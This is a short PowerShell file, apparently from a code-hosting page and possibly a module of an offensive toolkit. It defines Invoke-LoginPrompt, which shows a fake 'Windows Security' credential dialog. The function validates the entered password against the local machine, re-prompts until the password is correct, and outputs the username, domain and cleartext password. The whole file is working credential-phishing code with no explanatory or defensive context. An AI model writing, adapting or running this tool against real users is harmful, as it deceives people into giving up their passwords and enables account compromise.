23 lines
1.2 KiB
PowerShell
23 lines
1.2 KiB
PowerShell
function Invoke-LoginPrompt{
|
|
$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","")
|
|
$username = "$env:username"
|
|
$domain = "$env:userdomain"
|
|
$full = "$domain" + "\" + "$username"
|
|
$password = $cred.GetNetworkCredential().password
|
|
Add-Type -assemblyname System.DirectoryServices.AccountManagement
|
|
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
|
|
while($DS.ValidateCredentials("$full","$password") -ne $True){
|
|
$cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
|
|
$username = "$env:username"
|
|
$domain = "$env:userdomain"
|
|
$full = "$domain" + "\" + "$username"
|
|
$password = $cred.GetNetworkCredential().password
|
|
Add-Type -assemblyname System.DirectoryServices.AccountManagement
|
|
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
|
|
$DS.ValidateCredentials("$full", "$password") | out-null
|
|
}
|
|
$output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password
|
|
$output
|
|
R{START_PROCESS}
|
|
}
|